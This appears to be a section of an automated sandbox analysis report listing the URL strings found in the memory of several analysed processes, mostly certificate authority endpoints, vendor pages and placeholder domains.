Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: IDRBackup.exe, 00000006.00000002.2420697865.0000000059824000.00000020.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: powershell.exe, 00000001.00000002.1851526313.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.???.xx/?search=%s
Source: powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2036675093.00000000022C3000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: IDRBackup.exe, 00000006.00000002.2160089196.0000000003550000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.0000000004FE5000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004BDC000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.0000000005658000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.0000000005486000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.com
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.com/?Download=Find.Same.Images.OK
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.de
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.de/?Download=Find.Same.Images.OK
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0
Source: IDRBackup.exe, 00000006.00000002.2434431528.0000000061EB1000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.surfok.de/
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 00000001.00000002.1851526313.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000015.00000003.2521557740.0000019994272000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.000001999420E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
